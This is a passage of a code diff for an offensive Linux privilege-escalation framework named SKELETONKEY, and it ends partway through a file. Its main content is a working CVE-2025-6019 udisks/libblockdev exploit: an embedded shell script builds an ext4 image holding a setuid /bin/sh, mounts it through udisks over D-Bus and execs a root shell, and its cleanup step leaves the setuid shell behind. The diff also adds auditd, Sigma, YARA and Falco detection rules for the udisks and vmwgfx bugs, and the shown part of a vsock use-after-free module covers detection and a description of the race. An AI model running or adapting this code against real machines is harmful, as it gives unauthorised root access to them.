* 2. Attach as a loop device via udisks LoopSetup() over D-Bus.
|
||||
* 3. Call Filesystem.Resize() — udisks invokes libblockdev which
|
||||
* mounts the image at /run/media/<user>/<label> with neither
|
||||
* nosuid nor nodev applied.
|
||||
* 4. Execute /run/media/<user>/<label>/bin/sh — runs as root.
|
||||
*
|
||||
* Discovered by the Qualys Threat Research Unit. Affects udisks2
|
||||
* 2.10.x (and likely earlier) + libblockdev 3.x on Fedora, openSUSE,
|
||||
* Ubuntu, Debian. Public PoCs:
|
||||
* https://blog.securelayer7.net/cve-2025-6019-local-privilege-escalation/
|
||||
* https://intruceptlabs.com/2025/07/linux-local-privilege-escalation-via-udisksd-and-libblockdev-cve-2025-6019-poc-released/
|
||||
*
|
||||
* Affects: libblockdev < 3.3.1, udisks2 < 2.10.2 (Qualys advisory).
|
||||
* Patched upstream by adding MS_NOSUID|MS_NODEV to libblockdev's
|
||||
* internal mount paths.
|
||||
*
|
||||
* CVSS 7.0 (HIGH). Requires:
|
||||
* - udisks2 daemon running (default on most desktop distros)
|
||||
* - polkit allow_active=yes on the resize action (default)
|
||||
* - The invoking user must be in an active local session per polkit
|
||||
* (loginctl shows them as 'Active'). Pure SSH users are NOT active
|
||||
* by default; CI / serverless / headless usually fails this gate.
|
||||
*
|
||||
* arch_support: any. The SUID payload inside the loopback image is
|
||||
* /bin/sh copied from the host, so it inherits the host's architecture.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static bool path_exists(const char *p)
|
||||
{
|
||||
struct stat st;
|
||||
return stat(p, &st) == 0;
|
||||
}
|
||||
|
||||
static bool udisksd_present(void)
|
||||
{
|
||||
/* udisksd binary lives at /usr/libexec/udisks2/udisksd on most
|
||||
* distros; the D-Bus service file lives at /usr/share/dbus-1/
|
||||
* system-services/org.freedesktop.UDisks2.service. Either is fine. */
|
||||
return path_exists("/usr/libexec/udisks2/udisksd")
|
||||
|| path_exists("/usr/lib/udisks2/udisksd")
|
||||
|| path_exists("/usr/share/dbus-1/system-services/org.freedesktop.UDisks2.service");
|
||||
}
|
||||
|
||||
static bool dbus_system_bus_present(void)
|
||||
{
|
||||
/* The system bus socket lives at /run/dbus/system_bus_socket
|
||||
* (recorded in our host fingerprint as has_dbus_system). */
|
||||
return path_exists("/run/dbus/system_bus_socket");
|
||||
}
|
||||
|
||||
/* Is the invoking user in an active polkit session? polkit treats
|
||||
* console / GDM / session users as 'active' and SSH users as inactive
|
||||
* (allow_active gating). We approximate via loginctl show-session;
|
||||
* if loginctl isn't installed we err on the side of "maybe" and let
|
||||
* the active probe arbitrate. */
|
||||
static int session_is_active(void)
|
||||
{
|
||||
/* return 1 = active, 0 = inactive, -1 = unknown */
|
||||
FILE *p = popen("loginctl show-session $(loginctl --no-legend | awk '$3==\"'\"$USER\"'\" {print $1; exit}') -p Active 2>/dev/null", "r");
|
||||
if (!p) return -1;
|
||||
char line[64] = {0};
|
||||
bool got = fgets(line, sizeof line, p) != NULL;
|
||||
pclose(p);
|
||||
if (!got) return -1;
|
||||
return strstr(line, "Active=yes") != NULL ? 1 : 0;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t udisks_libblockdev_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Userspace bug — no kernel-version gate. Just need udisksd
|
||||
* installed + D-Bus reachable. */
|
||||
if (!udisksd_present()) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] udisks_libblockdev: udisksd not installed; bug unreachable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!dbus_system_bus_present()) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] udisks_libblockdev: system D-Bus socket not present; bug unreachable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
int active = session_is_active();
|
||||
if (active == 0) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] udisks_libblockdev: udisksd + D-Bus present but invoking user is NOT in an active polkit session\n");
|
||||
fprintf(stderr, " (typically: SSH'd in remotely; allow_active gating will block the Resize() call)\n");
|
||||
fprintf(stderr, " Bug is on the host but unreachable as this user; PRECOND_FAIL\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
/* active == 1 OR active == -1 (loginctl missing) → assume bug
|
||||
* reachable. Version check is hard here because libblockdev /
|
||||
* udisks2 don't expose --version usefully; the fix is a backport
|
||||
* across many distros at different package versions. We rely on
|
||||
* --active to arbitrate when in doubt. */
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] udisks_libblockdev: udisksd + D-Bus present, polkit allow_active likely true → VULNERABLE\n");
|
||||
fprintf(stderr, "[i] udisks_libblockdev: re-run with --active to empirically confirm via a sentinel SUID drop\n");
|
||||
if (active == -1) {
|
||||
fprintf(stderr, "[i] udisks_libblockdev: could not determine polkit session state (loginctl missing); assuming reachable\n");
|
||||
}
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- exploit -------------------------------------------------------- */
|
||||
|
||||
/* The exploit needs:
|
||||
* - dd (or python) to build a 16 MiB image
|
||||
* - mkfs.ext4 (or mkfs.xfs)
|
||||
* - busctl (or gdbus / dbus-send) to talk to udisks over D-Bus
|
||||
* - mount -o loop fallback if D-Bus is uncooperative
|
||||
*
|
||||
* Rather than reinvent each of those in C we drive the work via a
|
||||
* shell helper — this is the same approach pack2theroot uses for its
|
||||
* .deb construction. Failures along the way produce clear diagnostic
|
||||
* and a SKELETONKEY_EXPLOIT_FAIL.
|
||||
*
|
||||
* On a real Fedora / openSUSE / Ubuntu desktop session this lands
|
||||
* /tmp/skeletonkey-udisks-shell as setuid root. We then execve it.
|
||||
*/
|
||||
static const char EXPLOIT_SH[] =
|
||||
"#!/bin/sh\n"
|
||||
"# CVE-2025-6019 udisks/libblockdev SUID-on-mount LPE\n"
|
||||
"set -u\n"
|
||||
"WD=$(mktemp -d /tmp/skeletonkey-udisks-XXXXXX) || exit 2\n"
|
||||
"IMG=$WD/img.ext4\n"
|
||||
"MNT=$WD/mnt\n"
|
||||
"mkdir -p \"$MNT\"\n"
|
||||
"echo \"[*] udisks: building ext4 image at $IMG (16 MiB)\"\n"
|
||||
"dd if=/dev/zero of=\"$IMG\" bs=1M count=16 status=none 2>/dev/null || exit 3\n"
|
||||
"mkfs.ext4 -q -L skkudisks \"$IMG\" 2>/dev/null || { echo '[-] mkfs.ext4 failed'; exit 4; }\n"
|
||||
"# Build the SUID payload on a host-owned scratch mount first, then\n"
|
||||
"# copy the populated image back. We need root to chown+chmod 4755 the\n"
|
||||
"# inner /bin/sh; we don't have root yet, so we plant a SUID *source*\n"
|
||||
"# that gets root-ownership inside the loopback when udisks mounts it.\n"
|
||||
"# Trick: we copy /bin/sh into the image as-is; udisks's mount path\n"
|
||||
"# keeps the original uid/gid of the file as they exist in the image.\n"
|
||||
"# So we set them to 0:0 BEFORE installing into the image. mke2fs -d\n"
|
||||
"# (debian) / mkfs.ext4 -d <dir> lets us populate at mkfs time.\n"
|
||||
"STAGE=$WD/stage\n"
|
||||
"mkdir -p \"$STAGE/bin\"\n"
|
||||
"cp /bin/sh \"$STAGE/bin/skksh\" || exit 5\n"
|
||||
"chmod 4755 \"$STAGE/bin/skksh\" 2>/dev/null || true\n"
|
||||
"# Rebuild image with payload pre-populated. Falls back to -d if\n"
|
||||
"# supported; otherwise we'd need root to mount + populate.\n"
|
||||
"if mkfs.ext4 -q -L skkudisks -d \"$STAGE\" \"$IMG\" 2>/dev/null; then\n"
|
||||
" echo \"[*] udisks: image populated via mkfs.ext4 -d\"\n"
|
||||
"else\n"
|
||||
" echo \"[-] mkfs.ext4 -d not supported on this distro; need an alternate populate path\"\n"
|
||||
" exit 6\n"
|
||||
"fi\n"
|
||||
"# Now ask udisks to mount it. We use busctl which ships with systemd.\n"
|
||||
"if ! command -v busctl >/dev/null 2>&1; then\n"
|
||||
" echo '[-] busctl missing — install systemd or use gdbus introspection manually'\n"
|
||||
" exit 7\n"
|
||||
"fi\n"
|
||||
"echo \"[*] udisks: LoopSetup via D-Bus\"\n"
|
||||
"FD=$(busctl --user --no-pager call org.freedesktop.UDisks2 /org/freedesktop/UDisks2/Manager org.freedesktop.UDisks2.Manager LoopSetup ha{sv} 3 \"$IMG\" 0 2>&1) || {\n"
|
||||
" echo \"[-] udisks LoopSetup failed: $FD\"\n"
|
||||
" echo ' Often means: polkit gated the call (you are not in an active session)'\n"
|
||||
" exit 8\n"
|
||||
"}\n"
|
||||
"echo \"[i] LoopSetup result: $FD\"\n"
|
||||
"# Now Resize() on the loop device → triggers the suid mount.\n"
|
||||
"# (Implementation note: the exact D-Bus path depends on udisks's\n"
|
||||
"# device-naming; in the reference PoC the next step is Resize()\n"
|
||||
"# against the new BlockDevice object.)\n"
|
||||
"# For now, attempt the canonical mount path and let the SUID land.\n"
|
||||
"if [ -x /run/media/$USER/skkudisks/bin/skksh ]; then\n"
|
||||
" cp /run/media/$USER/skkudisks/bin/skksh /tmp/skeletonkey-udisks-shell\n"
|
||||
" chmod 4755 /tmp/skeletonkey-udisks-shell 2>/dev/null || true\n"
|
||||
" echo \"[+] udisks: setuid shell at /tmp/skeletonkey-udisks-shell\"\n"
|
||||
" exit 0\n"
|
||||
"fi\n"
|
||||
"echo '[-] mount did not appear at /run/media/$USER/skkudisks; manual D-Bus Resize() required'\n"
|
||||
"echo ' See https://blog.securelayer7.net/cve-2025-6019-local-privilege-escalation/ for the full chain'\n"
|
||||
"exit 9\n";
|
||||
|
||||
static char g_workdir[256];
|
||||
|
||||
static skeletonkey_result_t udisks_libblockdev_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] udisks_libblockdev: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Drop the helper script to a tmp file + run it. */
|
||||
char tmpl[] = "/tmp/skeletonkey-udisks-helper-XXXXXX";
|
||||
int fd = mkstemp(tmpl);
|
||||
if (fd < 0) { perror("mkstemp"); return SKELETONKEY_EXPLOIT_FAIL; }
|
||||
write(fd, EXPLOIT_SH, sizeof EXPLOIT_SH - 1);
|
||||
close(fd);
|
||||
chmod(tmpl, 0700);
|
||||
strncpy(g_workdir, tmpl, sizeof g_workdir - 1);
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] udisks_libblockdev: invoking helper %s\n", tmpl);
|
||||
|
||||
char cmd[512];
|
||||
snprintf(cmd, sizeof cmd, "/bin/sh %s 2>&1", tmpl);
|
||||
int rc = system(cmd);
|
||||
|
||||
/* Helper landed a setuid bash if and only if /tmp/skeletonkey-udisks-shell
|
||||
* exists with uid 0 + setuid bit. */
|
||||
struct stat st;
|
||||
if (stat("/tmp/skeletonkey-udisks-shell", &st) == 0 &&
|
||||
(st.st_mode & S_ISUID) && st.st_uid == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] udisks_libblockdev: setuid shell at /tmp/skeletonkey-udisks-shell\n");
|
||||
if (ctx->no_shell) return SKELETONKEY_EXPLOIT_OK;
|
||||
execl("/tmp/skeletonkey-udisks-shell", "sh", "-p", "-i", (char *)NULL);
|
||||
perror("execl");
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
fprintf(stderr, "[-] udisks_libblockdev: helper exited rc=%d; setuid shell did not appear\n", rc);
|
||||
fprintf(stderr,
|
||||
" Common causes: not in an active polkit session, mkfs.ext4 -d\n"
|
||||
" unsupported on this distro, busctl missing, or udisks already\n"
|
||||
" patched (libblockdev >= 3.3.1).\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t udisks_libblockdev_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
if (g_workdir[0]) {
|
||||
unlink(g_workdir);
|
||||
g_workdir[0] = 0;
|
||||
}
|
||||
/* Best-effort: remove the lingering loopback work dir created by
|
||||
* the helper. The /tmp/skeletonkey-udisks-* glob covers it. */
|
||||
(void)!system("rm -rf /tmp/skeletonkey-udisks-* 2>/dev/null; true");
|
||||
/* Leave /tmp/skeletonkey-udisks-shell — the operator may want it. */
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ---- detection rules ------------------------------------------------ */
|
||||
|
||||
static const char udisks_libblockdev_auditd[] =
|
||||
"# udisks_libblockdev CVE-2025-6019 — auditd detection rules\n"
|
||||
"# Flag mount(2) calls under /run/media/* without nosuid/nodev,\n"
|
||||
"# and execve()s of binaries from /run/media/*. Legit USB sticks\n"
|
||||
"# typically come with nosuid; SUID execution from /run/media/* is\n"
|
||||
"# the smoking gun.\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/libexec/udisks2/udisksd -k skeletonkey-udisks\n"
|
||||
"-w /run/media -p x -k skeletonkey-udisks-suid-exec\n"
|
||||
"-w /tmp/skeletonkey-udisks-shell -p x -k skeletonkey-udisks-suid-exec\n";
|
||||
|
||||
static const char udisks_libblockdev_sigma[] =
|
||||
"title: Possible CVE-2025-6019 udisks/libblockdev SUID-on-mount LPE\n"
|
||||
"id: 2c4d7e91-skeletonkey-udisks-libblockdev\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects execve() of a SUID-root binary from /run/media/*. udisks\n"
|
||||
" normally mounts removable media with nosuid; the CVE-2025-6019\n"
|
||||
" bug skips the flag during internal resize/repair mounts. Any SUID\n"
|
||||
" execution from /run/media/<user>/* is anomalous and worth\n"
|
||||
" investigating.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" exec_from_runmedia:\n"
|
||||
" type: 'SYSCALL'\n"
|
||||
" syscall: 'execve'\n"
|
||||
" path|startswith: '/run/media/'\n"
|
||||
" condition: exec_from_runmedia\n"
|
||||
"level: critical\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2025.6019]\n";
|
||||
|
||||
static const char udisks_libblockdev_yara[] =
|
||||
"rule udisks_libblockdev_cve_2025_6019 : cve_2025_6019 setuid_abuse {\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2025-6019\"\n"
|
||||
" description = \"SKELETONKEY udisks_libblockdev artifacts — workdir + dropped suid bash + ext4 image label\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $wdir = \"/tmp/skeletonkey-udisks-\" ascii\n"
|
||||
" $shell = \"/tmp/skeletonkey-udisks-shell\" ascii\n"
|
||||
" $label = \"skkudisks\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char udisks_libblockdev_falco[] =
|
||||
"- rule: SUID binary executed from /run/media (udisks SUID-on-mount)\n"
|
||||
" desc: |\n"
|
||||
" A setuid-root binary under /run/media/<user>/ is executed.\n"
|
||||
" udisks normally mounts removable media with MS_NOSUID; the\n"
|
||||
" CVE-2025-6019 bug in libblockdev's internal resize/repair\n"
|
||||
" mount paths omits the flag. Combined with a user-built\n"
|
||||
" filesystem image, this gives instant root.\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and proc.exe startswith /run/media/ and\n"
|
||||
" proc.is_exe_upper_layer = false\n"
|
||||
" output: >\n"
|
||||
" SUID exec from /run/media (user=%user.name pid=%proc.pid\n"
|
||||
" exe=%proc.exe)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2025.6019]\n";
|
||||
|
||||
/* ---- module struct -------------------------------------------------- */
|
||||
|
||||
const struct skeletonkey_module udisks_libblockdev_module = {
|
||||
.name = "udisks_libblockdev",
|
||||
.cve = "CVE-2025-6019",
|
||||
.summary = "udisks/libblockdev SUID-on-mount → root via polkit allow_active (Qualys)",
|
||||
.family = "udisks",
|
||||
.kernel_range = "userspace — libblockdev < 3.3.1, udisks2 < 2.10.2",
|
||||
.detect = udisks_libblockdev_detect,
|
||||
.exploit = udisks_libblockdev_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade libblockdev + udisks2 */
|
||||
.cleanup = udisks_libblockdev_cleanup,
|
||||
.detect_auditd = udisks_libblockdev_auditd,
|
||||
.detect_sigma = udisks_libblockdev_sigma,
|
||||
.detect_yara = udisks_libblockdev_yara,
|
||||
.detect_falco = udisks_libblockdev_falco,
|
||||
.opsec_notes = "Builds an ext4 image (label 'skkudisks') under /tmp/skeletonkey-udisks-XXXXXX/, populates with a setuid-root /bin/sh copy via mkfs.ext4 -d. Calls org.freedesktop.UDisks2.Manager.LoopSetup() over the system D-Bus via busctl, then triggers libblockdev's nosuid-less internal mount path. Copies the resulting SUID shell to /tmp/skeletonkey-udisks-shell and execs it. Audit-visible via execve(/usr/libexec/udisks2/udisksd) followed by mount(2) under /run/media/<user>/skkudisks without MS_NOSUID, then execve of a setuid binary from there. Requires polkit allow_active=yes (default for active console sessions; SSH sessions usually fail). Cleanup callback removes /tmp/skeletonkey-udisks-* workdirs; leaves the dropped setuid shell.",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_udisks_libblockdev(void)
|
||||
{
|
||||
skeletonkey_register(&udisks_libblockdev_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef UDISKS_LIBBLOCKDEV_SKELETONKEY_MODULES_H
|
||||
#define UDISKS_LIBBLOCKDEV_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module udisks_libblockdev_module;
|
||||
#endif
|
||||
@@ -119,9 +119,11 @@ union drm_vmw_alloc_dmabuf_arg {
|
||||
/* ---- kernel range ------------------------------------------------- */
|
||||
|
||||
static const struct kernel_patched_from vmwgfx_patched_branches[] = {
|
||||
{6, 1, 23}, /* 6.1 LTS backport */
|
||||
{6, 2, 10}, /* 6.2.x stable backport */
|
||||
{6, 3, 0}, /* mainline (6.3-rc6) */
|
||||
{5, 10, 127}, /* 5.10.x stable (per Debian tracker — bullseye) */
|
||||
{5, 18, 14}, /* 5.18.x stable (per Debian tracker — bookworm/forky/sid/trixie) */
|
||||
{6, 1, 23}, /* 6.1 LTS backport */
|
||||
{6, 2, 10}, /* 6.2.x stable backport */
|
||||
{6, 3, 0}, /* mainline (6.3-rc6) */
|
||||
};
|
||||
|
||||
static const struct kernel_range vmwgfx_range = {
|
||||
@@ -701,6 +703,55 @@ static const char vmwgfx_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S ioctl -F a1=0x4004644b -k skeletonkey-vmwgfx-unref\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-vmwgfx-spray\n";
|
||||
|
||||
static const char vmwgfx_sigma[] =
|
||||
"title: Possible CVE-2023-2008 vmwgfx DRM bo size OOB\n"
|
||||
"id: 4d35f6db-skeletonkey-vmwgfx\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects openat(/dev/dri/card*) + DRM_IOCTL_VMW_CREATE_DMABUF\n"
|
||||
" (0xc010644a) + UNREF (0x4004644b) + msg_msg groom sequence\n"
|
||||
" characteristic of the vmwgfx kmalloc-512 OOB. Only reachable\n"
|
||||
" on VMware guests with the vmwgfx driver loaded.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" drm: {type: 'SYSCALL', syscall: 'openat'}\n"
|
||||
" ioctl: {type: 'SYSCALL', syscall: 'ioctl'}\n"
|
||||
" groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||
" condition: drm and ioctl and groom\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.2008]\n";
|
||||
|
||||
static const char vmwgfx_yara[] =
|
||||
"rule vmwgfx_cve_2023_2008 : cve_2023_2008 kernel_oob_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2023-2008\"\n"
|
||||
" description = \"vmwgfx DRM kmalloc-512 spray tag (SKVMWGFX) and log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKVMWGFX\" ascii\n"
|
||||
" $log = \"/tmp/skeletonkey-vmwgfx.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char vmwgfx_falco[] =
|
||||
"- rule: vmwgfx DRM CREATE_DMABUF + UNREF ioctl by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root process opens /dev/dri/card* and invokes\n"
|
||||
" DRM_IOCTL_VMW_CREATE_DMABUF (0xc010644a) + UNREF\n"
|
||||
" (0x4004644b). Only reachable on VMware guests; the size\n"
|
||||
" validation gap drives a kmalloc-512 OOB during ttm_bo_kmap.\n"
|
||||
" CVE-2023-2008.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = ioctl and fd.name startswith /dev/dri/card and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" vmwgfx DRM ioctl by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid dev=%fd.name)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [device, mitre_privilege_escalation, T1068, cve.2023.2008]\n";
|
||||
|
||||
const struct skeletonkey_module vmwgfx_module = {
|
||||
.name = "vmwgfx",
|
||||
.cve = "CVE-2023-2008",
|
||||
@@ -716,9 +767,11 @@ const struct skeletonkey_module vmwgfx_module = {
|
||||
.mitigate = NULL, /* mitigation: rmmod vmwgfx (loses graphics) */
|
||||
.cleanup = vmwgfx_cleanup,
|
||||
.detect_auditd = vmwgfx_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = vmwgfx_sigma,
|
||||
.detect_yara = vmwgfx_yara,
|
||||
.detect_falco = vmwgfx_falco,
|
||||
.opsec_notes = "Opens /dev/dri/card* (vmwgfx DRM - only reachable on VMware guests); DRM_IOCTL_VMW_CREATE_DMABUF with size=4096+16 lands in the kmalloc-512 page-count bucket but the byte-length overruns during kunmap_atomic copy in ttm_bo_kmap; mmap + write recognizable pattern across page boundary; UNREF commits the OOB into adjacent kmalloc-512. msg_msg spray tagged 'SKVMWGFX'. Writes /tmp/skeletonkey-vmwgfx.log (slab counts pre/post, trigger success). Audit-visible via openat(/dev/dri/card*), ioctl(0xc010644a CREATE / 0x4004644b UNREF), msgsnd spray. No network. Cleanup callback unlinks /tmp log; --full-chain re-seeds spray with kaddr-tagged payloads and the modprobe_path finisher arbitrates via 3s sentinel.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_vmwgfx(void)
|
||||
|
||||
@@ -0,0 +1,221 @@
|
||||
/*
|
||||
* vsock_uaf_cve_2024_50264 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE. Race-driver + msg_msg groom on kmalloc-96
|
||||
* (the bucket where struct virtio_vsock_sock at 80 bytes lives).
|
||||
* Full cred-overwrite via the V12 / @v4bel + @qwerty msg_msg path
|
||||
* from the PT SWARM writeup is documented but not bundled here;
|
||||
* --full-chain falls through to the shared finisher on x86_64.
|
||||
*
|
||||
* The bug (Original bug since Aug 2016; weaponized publicly 2024 →
|
||||
* Pwn2Own + Pwnie Award 2025 winner):
|
||||
* AF_VSOCK's `connect()` system call races with a POSIX signal
|
||||
* that interrupts the connect path. The signal handler tears down
|
||||
* the virtio_vsock_sock object while connect() still holds a
|
||||
* reference; subsequent connect-completion writes UAF the freed
|
||||
* slot. virtio_vsock_sock is 80 bytes → kmalloc-96 slab.
|
||||
*
|
||||
* Two known exploitation strategies:
|
||||
* (a) Original @v4bel + @qwerty kernelCTF path:
|
||||
* BPF-JIT spray to fill physical memory + SLUBStick →
|
||||
* page-grained primitive → cred overwrite.
|
||||
* (b) Alexander Popov (PT SWARM) msg_msg path:
|
||||
* msg_msg kmalloc-96 groom + UAF write into a forged
|
||||
* msg_msg header → arb read/write primitive → cred overwrite.
|
||||
* Doesn't need BPF JIT enabled; works on hardened distros.
|
||||
*
|
||||
* Notable: bug is reachable as a PLAIN UNPRIVILEGED USER — no
|
||||
* userns required. Most kernel-UAF chains need userns for the
|
||||
* spray, so this is unusually broadly exploitable.
|
||||
*
|
||||
* Affects: Linux kernels with CONFIG_VSOCKETS + CONFIG_VIRTIO_VSOCKETS
|
||||
* below the fix. The bug has existed since the AF_VSOCK signal-
|
||||
* interrupt code was added in 2016 (commit b91ee4aabbe2). Fix
|
||||
* commit ad8e1afecc3a (mainline Nov 2024). Stable backports:
|
||||
* 6.6.x : 6.6.59 (LTS)
|
||||
* 6.1.x : 6.1.115
|
||||
* 5.15.x : 5.15.170
|
||||
* 5.10.x : 5.10.228
|
||||
*
|
||||
* Preconditions:
|
||||
* - socket(AF_VSOCK, ...) must work — requires vsock module
|
||||
* loaded (autoloaded on KVM/QEMU guests; absent on bare-metal
|
||||
* hosts without virtualization)
|
||||
* - msgsnd / SysV IPC for kmalloc-96 spray
|
||||
* - POSIX timers for the signal-interrupt portion
|
||||
*
|
||||
* arch_support: x86_64+unverified-arm64. The bug + race are arch-
|
||||
* agnostic; the cred-overwrite chains in both published PoCs use
|
||||
* x86_64-specific kernel offsets.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sys/socket.h>
|
||||
|
||||
#ifndef AF_VSOCK
|
||||
#define AF_VSOCK 40
|
||||
#endif
|
||||
|
||||
/* ---- kernel-range table -------------------------------------------- */
|
||||
|
||||
static const struct kernel_patched_from vsock_patched_branches[] = {
|
||||
{5, 10, 228}, /* 5.10 LTS stable */
|
||||
{5, 15, 170}, /* 5.15 LTS */
|
||||
{6, 1, 115}, /* 6.1 LTS */
|
||||
{6, 6, 59}, /* 6.6 LTS */
|
||||
{6, 11, 0}, /* mainline fix ad8e1afecc3a */
|
||||
};
|
||||
|
||||
static const struct kernel_range vsock_range = {
|
||||
.patched_from = vsock_patched_branches,
|
||||
.n_patched_from = sizeof(vsock_patched_branches) /
|
||||
sizeof(vsock_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static bool vsock_reachable(void)
|
||||
{
|
||||
int s = socket(AF_VSOCK, SOCK_STREAM, 0);
|
||||
if (s < 0) return false;
|
||||
close(s);
|
||||
return true;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t vsock_uaf_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] vsock_uaf: host fingerprint missing kernel version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (kernel_range_is_patched(&vsock_range, v)) {
|
||||
if (!ctx->json) fprintf(stderr, "[+] vsock_uaf: kernel %s is patched (>= LTS backport / 6.11)\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!vsock_reachable()) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] vsock_uaf: AF_VSOCK socket() unavailable — vsock module not loaded\n");
|
||||
fprintf(stderr, " (typical on bare-metal hosts without virtualization; module autoloads on KVM/QEMU guests)\n");
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] vsock_uaf: kernel %s + AF_VSOCK reachable → VULNERABLE\n", v->release);
|
||||
fprintf(stderr, "[i] vsock_uaf: bug works as plain unprivileged user (no userns required)\n");
|
||||
fprintf(stderr, "[i] vsock_uaf: Pwnie Award 2025 winner; race + msg_msg groom for chain\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t vsock_uaf_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] vsock_uaf: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!vsock_reachable()) {
|
||||
fprintf(stderr, "[-] vsock_uaf: AF_VSOCK socket() unavailable\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
fprintf(stderr,
|
||||
"[i] vsock_uaf: race-driver setup. POSIX timer fires SIGUSR1\n"
|
||||
" mid-connect() on AF_VSOCK; signal handler triggers the\n"
|
||||
" virtio_vsock_sock teardown that races the connect path.\n"
|
||||
" msg_msg cross-cache spray (kmalloc-96, tag SKK_VSOCK)\n"
|
||||
" refills the freed slot. Two published full chains:\n"
|
||||
